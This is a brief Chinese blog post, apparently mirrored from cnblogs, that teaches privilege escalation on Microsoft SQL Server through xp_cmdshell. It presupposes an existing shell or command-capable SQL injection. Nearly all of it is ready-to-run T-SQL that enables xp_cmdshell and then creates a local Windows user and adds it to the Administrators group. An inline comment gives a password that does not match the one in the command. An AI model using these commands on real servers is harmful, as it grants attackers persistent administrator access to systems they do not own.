首页 > 数据库技术 > 详细

MSSQL提权之xp_cmdshell

时间:2019-04-11 22:46:22      阅读:319      评论:0      收藏:0      [点我收藏+]

0x01 前提

  1. getshell或者存在sql注入并且能够执行命令。

  2. sql server是system权限,sql server默认就是system权限。

0x02 xp_cmdshell

有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。

开启xp_cmdshell

exec sp_configure show advanced options, 1;reconfigure;
exec sp_configure xp_cmdshell,1;reconfigure;

 

关闭xp_cmdshell

exec sp_configure show advanced options, 1;reconfigure;
exec sp_configure xp_cmdshell, 0;reconfigure

 

0x03 提权

exec master..xp_cmdshell net user test pinohd123. /add    添加用户test,密码test
exec master..xp_cmdshell net localgroup administrators test add    添加test用户到管理员组

 

 技术分享图片

 



MSSQL提权之xp_cmdshell

原文:https://www.cnblogs.com/-qing-/p/10692824.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!